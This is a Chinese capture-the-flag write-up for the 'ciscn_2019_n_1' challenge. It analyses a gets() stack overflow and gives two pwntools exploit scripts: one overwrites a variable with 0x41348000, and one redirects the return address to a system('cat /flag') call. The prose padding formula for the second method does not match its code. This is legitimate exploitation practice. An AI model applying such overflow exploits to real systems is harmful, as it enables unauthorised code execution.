ciscn_2019_n_1
题目分析
64位程序,栈不可执行,地址没有随机化
查看函数逻辑
main函数调用了func(),func中存在经典gets()漏洞,这题逻辑就是输入v1,但判断v2的值是否是11.28125
方法一:地址覆盖
既然题目判断v2的值,那么我们将v2的值覆盖成11.28125即可,首先我们要找到11.28125的16进制表达形式,因为我们构造payload的时不能传入一个float类型
可以直接使用ida查看
11.28125 = 0x41348000
那么只剩下该溢出多少这一个问题了
即溢出距离:0x30-0x4
exp1
from pwn import *
io = process("./ciscn_2019_n_1")
payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.send(payload)
io.interactive()
方法2:利用system(“cat /flag”)
我们可以直接跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)
因此我们构造的payload = 垃圾数据*(0x60-0x30+8) + addr_system(“cat /flag”)
exp2
from pwn import *
context.arch = 'amd64'
io = process("./ciscn_2019_n_1")
sys_addr = 0x4006BE
payload = b'A'*(0x30+8) + p64(sys_addr)
io.send(payload)
io.interactive()